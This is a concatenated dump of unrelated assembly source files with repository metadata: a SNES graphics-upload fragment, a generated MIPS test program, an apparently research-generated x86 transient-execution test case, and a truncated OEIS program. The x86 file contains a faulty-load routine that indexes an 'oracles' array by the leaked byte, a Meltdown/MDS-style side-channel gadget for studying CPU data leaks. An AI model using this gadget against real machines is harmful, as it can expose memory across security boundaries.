; copy the LZ4 routine onto WRAM rep #$10 ldx #InflateBinary ldy #Inflate & $FFFF lda #InflateBinary@End - InflateBinary - 1 mvn :InflateBinary, Inflate >> 16 phk plb lda #:BGDeflate << 8 | $7F ldx #BGDeflate ldy #$0000 jsl Inflate ; Upload decompressed data sep #$10 lda #$1801 sta $4300 stz $4302 ldy #$7F sty $4304 lda #$8000 sta $4305 ldx #$01 stx $420B lda #BGTilemap sta $4302 ldy #:BGTilemap sty $4304 lda #BGTilemap@End - BGTilemap sta $4305 stx $420B ldy #$00 sty $2121 lda #$2202 sta $4300 lda #BGPal sta $4302 ldy #:BGPal sty $4304 lda #128 * 2 sta $4305 stx $420B ldx #$01 stx $2105 ; BG Mode ldx #$40 stx $2107 ; BG1 Tilemap address ldx #$01 stx $212C ldx #$0F stx $2100 bra -2 .ACCU 16 .INDEX 8 InitializeWRAMwithDMA: sta $FA ; DMA size sty $211B ;\ ldx #$00 ; | Y * 1 stx $211B ; | inx ; | stx $211C ;/ lda.w #$3480 sta $F5 stx $00 ; since X = 1 rts .ENDS .SECTION "Inflate code" SUPERFREE InflateBinary: .INCBIN "../src/inflate.ram.bin" @End: .ENDS .SECTION "BG" SUPERFREE BGDeflate: .INCBIN "4bpp.bin.deflate" BGTilemap: .INCBIN "4bpp.tilemap" @End: BGPal: .INCBIN "4bpp.pal" .ENDS
17.272251
93
0.550167
eff98215b23aadde19e5a8871cf40642471450f0
10,494
asm
Assembly
P6/data_P6_2/MDTest124.asm
alxzzhou/BUAA_CO_2020
b54bf367081a5a11701ebc3fc78a23494aecca9e
[ "Apache-2.0" ]
1
2022-01-23T09:24:47.000Z
2022-01-23T09:24:47.000Z
P6/data_P6_2/MDTest124.asm
alxzzhou/BUAA_CO_2020
b54bf367081a5a11701ebc3fc78a23494aecca9e
[ "Apache-2.0" ]
null
null
null
P6/data_P6_2/MDTest124.asm
alxzzhou/BUAA_CO_2020
b54bf367081a5a11701ebc3fc78a23494aecca9e
[ "Apache-2.0" ]
null
null
null
ori $ra,$ra,0xf div $4,$ra srav $4,$1,$1 mflo $3 lui $4,58578 srav $2,$2,$2 ori $4,$2,63231 addu $5,$5,$2 mflo $5 mtlo $2 mult $0,$0 multu $1,$1 lb $1,7($0) sb $4,11($0) lui $5,46212 mtlo $6 lui $4,54933 mthi $1 lui $4,51763 lb $6,2($0) mflo $1 addu $4,$3,$3 multu $4,$3 lui $1,46345 mfhi $2 srav $5,$5,$5 multu $2,$2 div $4,$ra addu $4,$2,$3 mfhi $4 ori $5,$0,15334 mult $5,$2 mult $1,$2 divu $4,$ra addu $4,$0,$1 mflo $5 addiu $4,$4,-11432 mthi $5 div $3,$ra div $6,$ra mtlo $5 mtlo $4 mtlo $6 mflo $6 mult $5,$2 mtlo $1 mflo $5 div $6,$ra addiu $0,$2,-5932 lb $6,3($0) multu $4,$2 lb $1,9($0) ori $1,$4,26873 mflo $1 srav $1,$4,$4 mflo $4 lui $5,60530 div $5,$ra sb $4,1($0) divu $0,$ra sb $3,16($0) lui $4,20881 mthi $2 addiu $6,$4,-23186 div $0,$ra sll $0,$0,21 mtlo $0 mflo $4 mflo $0 multu $0,$5 mthi $6 sll $3,$3,23 mflo $1 ori $4,$4,13203 addiu $4,$4,2909 multu $6,$2 addu $4,$2,$0 mtlo $4 sll $1,$1,13 srav $1,$5,$5 lb $5,6($0) mthi $2 srav $6,$3,$3 sll $5,$5,26 addu $1,$4,$1 mthi $1 sb $1,16($0) addu $1,$2,$6 addiu $5,$4,1830 mtlo $1 lb $1,8($0) divu $0,$ra mult $0,$4 addiu $6,$4,-2977 multu $4,$4 mflo $1 srav $2,$2,$2 ori $0,$0,39292 sb $6,7($0) lb $4,4($0) multu $0,$0 mfhi $6 addiu $0,$4,-26574 divu $4,$ra srav $3,$0,$3 lui $4,2345 srav $4,$4,$4 mflo $4 lui $2,45852 mfhi $4 multu $4,$4 mtlo $4 multu $4,$6 srav $5,$0,$5 addiu $0,$3,-2702 mult $0,$4 div $0,$ra mtlo $5 mult $4,$6 ori $5,$2,61365 addiu $2,$2,9996 div $1,$ra mult $4,$4 mthi $0 mfhi $1 ori $5,$2,12732 sb $4,16($0) srav $1,$2,$2 mult $5,$5 sb $6,4($0) multu $4,$1 mflo $5 addiu $4,$4,9278 mtlo $3 mthi $1 div $6,$ra sb $4,4($0) mfhi $6 addiu $1,$1,15068 addu $5,$4,$4 addu $0,$4,$2 lui $2,10205 lb $4,0($0) mtlo $1 sb $1,14($0) mult $5,$4 div $6,$ra lb $1,15($0) addiu $4,$3,-1562 addiu $2,$2,-23216 divu $4,$ra sll $1,$1,13 sb $4,16($0) addu $4,$6,$5 ori $5,$5,54021 lb $6,7($0) sll $5,$2,15 mult $4,$4 divu $2,$ra sb $0,4($0) mflo $1 lui $1,43261 sb $0,8($0) mflo $5 mfhi $1 ori $6,$1,2282 mtlo $1 lui $4,52750 lui $6,38488 sll $5,$0,24 lui $0,54601 mfhi $1 sb $0,4($0) addu $0,$2,$5 addiu $6,$2,-26003 mfhi $4 mflo $2 sll $3,$1,28 mfhi $4 mflo $3 ori $1,$4,33982 sll $4,$4,5 srav $2,$1,$2 mfhi $2 div $1,$ra lui $0,34087 mthi $1 mult $4,$4 srav $2,$2,$2 mtlo $5 divu $2,$ra addiu $4,$6,9989 mtlo $6 mult $0,$5 divu $4,$ra sll $4,$4,24 mthi $1 addu $3,$3,$3 ori $5,$1,45638 mfhi $0 srav $5,$5,$5 sll $5,$5,17 srav $2,$0,$2 div $4,$ra sll $3,$1,17 lui $5,25813 ori $4,$1,1766 lb $6,7($0) mtlo $2 srav $5,$5,$3 mflo $4 addiu $6,$0,-27883 sb $0,1($0) lb $0,7($0) mflo $6 multu $2,$1 addu $3,$4,$3 addu $4,$3,$3 mult $0,$5 sb $4,13($0) mfhi $4 lui $4,63321 sb $0,13($0) srav $3,$4,$3 mtlo $1 mult $1,$4 mthi $5 sb $6,15($0) mfhi $4 mfhi $3 srav $4,$4,$2 multu $1,$1 div $3,$ra ori $6,$4,59418 lui $4,7051 div $5,$ra lui $2,19304 sll $4,$4,29 mflo $6 mflo $4 mtlo $1 multu $3,$3 sb $3,3($0) mflo $3 mflo $4 mtlo $1 lb $4,6($0) multu $5,$4 mult $2,$2 div $4,$ra mult $1,$5 divu $6,$ra mfhi $5 addu $1,$4,$3 lui $6,65261 addu $0,$2,$6 addu $1,$2,$2 mfhi $4 mfhi $1 ori $6,$4,2190 mflo $2 lb $5,4($0) div $0,$ra mflo $6 mtlo $2 multu $4,$4 mfhi $5 ori $4,$5,59640 mtlo $0 div $4,$ra mult $1,$4 mtlo $4 multu $4,$4 sb $5,11($0) multu $4,$5 lui $0,6958 mthi $5 addu $1,$1,$4 lui $0,6189 lb $0,10($0) sll $1,$4,2 div $4,$ra lb $1,16($0) addu $4,$1,$4 sb $5,3($0) div $2,$ra divu $4,$ra sll $5,$4,19 sll $4,$2,7 addiu $4,$5,1028 lb $0,11($0) srav $3,$4,$3 divu $4,$ra mflo $6 mflo $3 addiu $4,$4,-22305 addu $0,$4,$0 mtlo $2 mult $5,$5 mult $1,$2 sll $4,$4,12 srav $5,$2,$5 lb $0,2($0) mtlo $4 mthi $4 mtlo $4 ori $1,$4,49622 mult $0,$5 mflo $1 lb $1,5($0) div $2,$ra ori $4,$1,28230 div $2,$ra mtlo $1 lb $5,7($0) mfhi $1 divu $1,$ra mtlo $4 sb $4,4($0) lb $5,0($0) sll $5,$6,6 div $0,$ra sb $5,4($0) divu $4,$ra mtlo $4 lb $5,8($0) ori $1,$2,11717 mthi $4 mult $3,$4 mthi $2 mult $5,$5 lui $5,36395 ori $4,$0,31742 multu $5,$5 srav $3,$0,$3 multu $1,$1 addu $4,$3,$3 srav $0,$2,$0 mtlo $4 multu $3,$3 mult $2,$2 mflo $0 ori $0,$6,29066 lui $5,39336 divu $0,$ra mult $1,$1 sb $5,15($0) lb $1,12($0) ori $5,$2,47239 multu $1,$5 mult $5,$2 mult $5,$1 mult $4,$4 srav $0,$2,$2 lb $3,10($0) mtlo $2 srav $5,$5,$2 div $0,$ra lui $6,49292 mult $4,$4 mthi $5 divu $5,$ra mfhi $4 multu $1,$1 mflo $4 divu $3,$ra addiu $3,$0,3921 mult $1,$5 sll $3,$3,25 mflo $4 sb $2,9($0) ori $3,$5,40483 ori $6,$1,42873 div $3,$ra addiu $1,$2,4881 srav $1,$1,$1 lb $0,2($0) addiu $6,$2,-4008 lui $6,51294 mthi $4 lb $5,6($0) lui $5,35131 multu $1,$1 lb $4,2($0) lb $4,5($0) mthi $5 lb $5,13($0) mflo $4 div $2,$ra lb $0,12($0) mfhi $5 mult $0,$2 ori $4,$0,4093 ori $4,$4,35035 mfhi $3 srav $1,$3,$3 sb $5,0($0) multu $2,$6 lb $1,14($0) lb $0,12($0) ori $0,$2,13938 ori $5,$5,2945 mfhi $1 multu $0,$1 mult $1,$4 lui $5,28599 multu $4,$2 div $4,$ra div $4,$ra mfhi $1 addiu $2,$2,-3027 div $1,$ra sll $2,$2,23 mfhi $2 lui $0,47505 divu $6,$ra mult $4,$4 mthi $6 sb $6,10($0) mult $0,$3 mfhi $2 div $5,$ra mthi $5 mtlo $1 multu $1,$1 sb $4,5($0) mthi $4 srav $1,$2,$6 multu $4,$4 multu $5,$6 addiu $3,$2,15538 multu $0,$3 addiu $4,$1,-16752 ori $2,$2,8023 srav $0,$0,$0 multu $6,$6 mthi $0 lb $5,7($0) lb $2,6($0) mtlo $4 mtlo $5 srav $4,$2,$3 lui $4,21340 addiu $5,$4,-6214 multu $2,$4 lui $0,37244 mfhi $0 ori $1,$4,57209 mflo $1 mthi $1 mult $1,$1 sll $4,$5,10 sb $1,9($0) mult $5,$2 mthi $2 mflo $4 sb $4,0($0) addiu $1,$2,-25831 divu $4,$ra mthi $5 addiu $1,$2,-19865 mfhi $4 lui $4,4260 mult $6,$1 lui $5,52023 divu $4,$ra sb $2,15($0) multu $5,$5 mult $6,$4 lb $2,11($0) divu $0,$ra lb $1,5($0) sb $5,5($0) mthi $4 addu $3,$4,$3 addiu $5,$2,20388 sb $6,12($0) ori $2,$2,44104 mflo $4 sb $5,5($0) addiu $1,$4,991 multu $2,$4 srav $3,$5,$3 sb $0,5($0) sb $4,8($0) srav $5,$1,$4 srav $2,$2,$1 div $3,$ra divu $4,$ra lui $5,37083 sll $4,$4,20 srav $3,$5,$3 mtlo $1 lui $5,63393 sb $4,10($0) mult $4,$5 addu $4,$4,$5 addu $6,$5,$3 mfhi $4 sb $6,8($0) mtlo $4 mtlo $0 addiu $4,$2,-5309 div $5,$ra ori $4,$2,26517 sll $5,$4,12 lui $6,39091 divu $5,$ra mfhi $5 div $6,$ra addu $4,$1,$1 mflo $1 addu $1,$4,$4 div $4,$ra mfhi $4 addu $5,$6,$3 mthi $5 lui $2,45423 mflo $5 mtlo $3 ori $4,$4,16723 mthi $0 divu $1,$ra mfhi $3 mthi $1 mthi $2 sb $4,0($0) srav $5,$4,$5 srav $0,$4,$0 mthi $4 mfhi $0 srav $5,$4,$4 ori $2,$2,40296 mfhi $0 lb $1,16($0) multu $5,$6 mtlo $0 mtlo $6 mfhi $5 addu $5,$3,$3 divu $4,$ra divu $0,$ra divu $6,$ra mtlo $1 mult $1,$1 lb $4,1($0) mtlo $3 mfhi $4 mtlo $4 mtlo $6 srav $4,$4,$4 ori $4,$4,17606 mult $2,$2 mthi $4 ori $6,$6,19439 lui $5,17891 ori $4,$5,19031 mthi $0 lb $4,8($0) ori $5,$5,39582 addu $1,$5,$4 mtlo $2 addu $1,$5,$1 addiu $4,$4,32691 mult $4,$2 mthi $5 addiu $1,$1,-19308 div $4,$ra addiu $2,$4,-16792 addu $0,$0,$6 multu $2,$0 ori $4,$2,31741 lui $4,19756 mfhi $3 mflo $4 sb $2,5($0) sb $6,2($0) mthi $5 lb $0,7($0) mfhi $5 srav $4,$4,$2 addu $5,$4,$3 addiu $5,$5,32483 sll $4,$4,8 mflo $5 mflo $3 sb $4,6($0) mfhi $1 multu $0,$3 sll $2,$2,28 mfhi $3 srav $5,$6,$6 sb $4,1($0) srav $5,$1,$3 multu $4,$4 divu $3,$ra mflo $5 ori $2,$2,20492 lui $2,54764 mtlo $5 addu $1,$6,$1 sll $6,$4,30 mult $2,$2 sll $1,$1,24 mtlo $1 addiu $3,$2,-17125 srav $4,$2,$4 divu $5,$ra srav $2,$2,$2 lui $5,22144 sb $5,0($0) divu $3,$ra mtlo $2 mthi $5 ori $1,$2,24652 mult $4,$3 mflo $0 mtlo $1 sb $5,15($0) sll $0,$2,1 sll $4,$2,5 div $0,$ra lui $0,14293 mthi $3 mult $4,$4 lb $5,5($0) div $0,$ra sb $0,6($0) div $0,$ra mult $4,$4 mthi $6 lb $1,2($0) divu $3,$ra mflo $5 ori $4,$4,16296 sll $4,$4,17 mult $3,$0 sll $2,$2,22 lui $4,56849 addu $0,$4,$2 multu $6,$2 addiu $5,$5,17738 mthi $2 div $4,$ra mtlo $1 div $3,$ra ori $1,$1,11744 sll $5,$4,13 mfhi $4 multu $4,$1 mult $1,$2 mult $1,$4 addiu $4,$4,-8899 div $3,$ra divu $5,$ra divu $4,$ra sll $5,$5,17 multu $2,$2 mfhi $1 div $5,$ra divu $1,$ra lb $5,9($0) lb $4,3($0) divu $1,$ra lb $5,15($0) mtlo $5 addu $4,$5,$4 divu $5,$ra addu $5,$1,$1 addiu $2,$2,-26303 mtlo $4 addiu $1,$5,-15809 mflo $0 mtlo $5 sb $4,9($0) addu $6,$4,$4 sb $5,14($0) mtlo $3 sb $4,3($0) addiu $4,$2,-1630 div $4,$ra mtlo $6 sll $1,$1,18 multu $2,$2 multu $1,$0 mthi $5 mtlo $4 addu $6,$4,$1 mfhi $5 addiu $4,$5,5255 mtlo $4 multu $4,$5 multu $5,$6 srav $5,$1,$3 mtlo $4 srav $3,$3,$3 lui $4,45934 addiu $4,$0,17967 mfhi $6 sll $0,$1,10 mtlo $5 div $5,$ra multu $6,$6 mult $2,$2 lb $5,3($0) srav $5,$2,$3 mult $5,$2 div $4,$ra sb $5,8($0) divu $4,$ra lb $6,3($0) mflo $4 addu $2,$2,$2 divu $2,$ra lui $0,38839 divu $3,$ra sll $2,$2,6 mtlo $5 sb $5,16($0) mflo $4 addiu $1,$1,-21630 multu $1,$4 multu $4,$6 sll $4,$1,6 lb $6,4($0) lui $4,39431 addu $6,$6,$2 div $4,$ra lb $4,2($0) addu $6,$0,$4 mult $5,$5 div $1,$ra multu $1,$1 sll $1,$1,11 mult $5,$2 divu $4,$ra mtlo $4 sb $4,10($0) addiu $4,$0,26283 lb $1,15($0) mfhi $4 addu $2,$2,$2 lui $4,20581 srav $1,$4,$3 mthi $1 addiu $4,$2,-23858 sll $4,$2,7 sb $6,4($0) addu $2,$2,$2 mflo $0 sb $4,11($0) mtlo $5 lui $2,4848 div $5,$ra mflo $3 lb $1,14($0) divu $4,$ra mflo $0 multu $4,$4 multu $4,$1 mflo $4 addiu $1,$3,-17578 mfhi $4 multu $0,$2 mthi $4 multu $4,$4 lui $2,36146 ori $3,$1,33817 lui $5,27806 divu $6,$ra mtlo $1 multu $6,$4 divu $5,$ra mflo $4 srav $6,$4,$6 lb $4,14($0) mult $6,$6 mthi $3 mtlo $5 lb $3,3($0) multu $4,$3 lui $5,9763 mflo $3 addu $0,$2,$3 mult $4,$4 addu $3,$2,$3 ori $4,$5,58731 mult $5,$5 multu $6,$5 multu $5,$2 mtlo $5 addiu $5,$3,-18389 sb $1,9($0) addiu $4,$4,-31214 addu $1,$5,$6 mthi $4 mthi $1 ori $5,$5,32446 div $5,$ra addu $0,$4,$0 divu $2,$ra mthi $3 addu $5,$5,$2 srav $6,$6,$3 lb $0,10($0) ori $1,$4,30974 srav $4,$6,$6 addiu $5,$3,20612 mflo $4 sll $1,$3,26 sll $6,$5,23 div $6,$ra sb $4,11($0) addiu $4,$4,-14477 sb $0,14($0) mult $4,$1 addu $0,$3,$3 mflo $4 mthi $1 mfhi $0 mthi $5 lb $5,4($0) mult $4,$6 divu $2,$ra multu $1,$2 div $2,$ra lui $1,22558 lb $4,14($0) sb $0,15($0) sb $4,10($0) srav $4,$0,$0 addu $1,$1,$4 multu $2,$1 mthi $1 addiu $4,$3,-28489 mthi $4 mflo $4 ori $5,$1,54698 multu $2,$2 sll $1,$4,2 lb $4,2($0) lui $5,58691 lui $2,50821 ori $4,$6,60332 mtlo $5 addiu $6,$2,-1770 sb $4,13($0) multu $1,$4 sb $2,16($0) mtlo $4 mflo $2 addu $0,$1,$0 mthi $5 multu $5,$0 mflo $4 addu $0,$5,$4 mtlo $2 mtlo $3 div $4,$ra lui $6,48268 mflo $1 mtlo $4 srav $2,$2,$2 lui $2,51265 mtlo $4 mthi $5 mtlo $5 sll $1,$1,0 lui $6,7746 addu $1,$1,$2 divu $4,$ra mthi $5 mthi $6 mflo $1 srav $0,$5,$5 addiu $4,$4,-32099 srav $4,$3,$3 mtlo $3 lui $3,27641 sb $1,4($0) addiu $4,$4,-31761 ori $4,$4,25883 sll $2,$2,27 srav $2,$2,$1 lb $3,12($0) addu $5,$2,$2 addiu $2,$0,11336 mthi $4 divu $1,$ra
11.791011
18
0.566133
b2e6f03d7fd1e8c0b8b38adaeb57987d36cec397
7,860
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1198.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1198.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1198.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r13 push %r15 push %r9 push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0xf44c, %r11 clflush (%r11) nop and %rdx, %rdx mov (%r11), %r12w nop nop nop nop nop xor $21542, %r11 lea addresses_WC_ht+0x1940c, %r9 nop cmp $33280, %r13 mov $0x6162636465666768, %r15 movq %r15, %xmm4 vmovups %ymm4, (%r9) nop nop nop nop nop dec %r15 lea addresses_WT_ht+0xb1bc, %rdx nop inc %r12 movb (%rdx), %r9b nop nop nop cmp %rdx, %rdx lea addresses_UC_ht+0xecec, %rsi lea addresses_WT_ht+0x1d0cc, %rdi clflush (%rdi) nop and %r15, %r15 mov $101, %rcx rep movsl nop nop add $14808, %rsi lea addresses_A_ht+0x440a, %rsi lea addresses_WC_ht+0x1d974, %rdi clflush (%rdi) nop nop nop sub %r11, %r11 mov $104, %rcx rep movsq nop nop nop nop dec %r9 lea addresses_UC_ht+0xb8ec, %r15 nop nop cmp $13948, %r11 movb $0x61, (%r15) nop nop nop nop inc %rdx lea addresses_WC_ht+0x15fe4, %r13 clflush (%r13) nop nop nop nop add $35350, %r11 vmovups (%r13), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $0, %xmm0, %r15 nop nop sub %r12, %r12 lea addresses_normal_ht+0xbfb8, %rsi lea addresses_normal_ht+0x7c70, %rdi nop nop nop nop xor %rdx, %rdx mov $35, %rcx rep movsw nop nop xor %rdx, %rdx lea addresses_A_ht+0xb184, %r11 nop nop nop and %rsi, %rsi and $0xffffffffffffffc0, %r11 movntdqa (%r11), %xmm2 vpextrq $0, %xmm2, %rdx nop nop nop nop nop cmp %r15, %r15 lea addresses_WC_ht+0xd08c, %rsi lea addresses_D_ht+0x546c, %rdi add $14497, %r11 mov $93, %rcx rep movsw nop nop nop nop sub %r15, %r15 lea addresses_WT_ht+0xec6c, %rdx nop and %r13, %r13 mov (%rdx), %r9d nop nop nop nop nop add %rdx, %rdx lea addresses_A_ht+0x120ec, %r12 nop nop nop cmp $36043, %rsi mov (%r12), %rdi add $42757, %rdi lea addresses_D_ht+0x14c8c, %rsi lea addresses_A_ht+0x1026c, %rdi nop add %r12, %r12 mov $122, %rcx rep movsb nop nop nop cmp %rcx, %rcx lea addresses_A_ht+0x55ec, %rsi clflush (%rsi) nop nop nop mfence movups (%rsi), %xmm2 vpextrq $1, %xmm2, %rdx nop nop cmp $54014, %rdx lea addresses_A_ht+0x17cec, %rsi lea addresses_UC_ht+0xcaec, %rdi nop nop nop cmp %r13, %r13 mov $123, %rcx rep movsl and %rdi, %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %r9 pop %r15 pop %r13 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r14 push %rcx // Faulty Load lea addresses_WC+0x5a6c, %rcx nop and $60343, %r12 mov (%rcx), %r14w lea oracles, %r12 and $0xff, %r14 shlq $12, %r14 mov (%r12,%r14,1), %r14 pop %rcx pop %r14 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WC', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WC', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': True, 'congruent': 2, 'NT': False, 'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False}} {'src': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}} {'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False}} {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}} {'src': {'same': False, 'congruent': 0, 'NT': True, 'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}} {'src': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_A_ht', 'size': 8, 'AVXalign': True}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}} {'src': {'same': True, 'congruent': 6, 'NT': False, 'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}} {'38': 21829} 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 */
34.025974
2,999
0.657634
ec5b40aa9b670dbd6f78b33ddd63a34b7a68f033
1,781
asm
Assembly
programs/oeis/171/A171501.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/171/A171501.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/171/A171501.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A171501: Inverse binomial transform of A084640. ; 0,1,3,-1,7,-9,23,-41,87,-169,343,-681,1367,-2729,5463,-10921,21847,-43689,87383,-174761,349527,-699049,1398103,-2796201,5592407,-11184809,22369623,-44739241,89478487,-178956969,357913943,-715827881,1431655767,-2863311529,5726623063,-11453246121,22906492247,-45812984489,91625968983,-183251937961,366503875927,-733007751849,1466015503703,-2932031007401,5864062014807,-11728124029609,23456248059223,-46912496118441,93824992236887,-187649984473769,375299968947543,-750599937895081,1501199875790167,-3002399751580329,6004799503160663,-12009599006321321,24019198012642647,-48038396025285289,96076792050570583,-192153584101141161,384307168202282327,-768614336404564649,1537228672809129303,-3074457345618258601,6148914691236517207,-12297829382473034409,24595658764946068823,-49191317529892137641,98382635059784275287,-196765270119568550569,393530540239137101143,-787061080478274202281,1574122160956548404567,-3148244321913096809129,6296488643826193618263,-12592977287652387236521,25185954575304774473047,-50371909150609548946089,100743818301219097892183,-201487636602438195784361,402975273204876391568727,-805950546409752783137449,1611901092819505566274903,-3223802185639011132549801,6447604371278022265099607,-12895208742556044530199209,25790417485112089060398423,-51580834970224178120796841,103161669940448356241593687,-206323339880896712483187369,412646679761793424966374743,-825293359523586849932749481,1650586719047173699865498967,-330117343809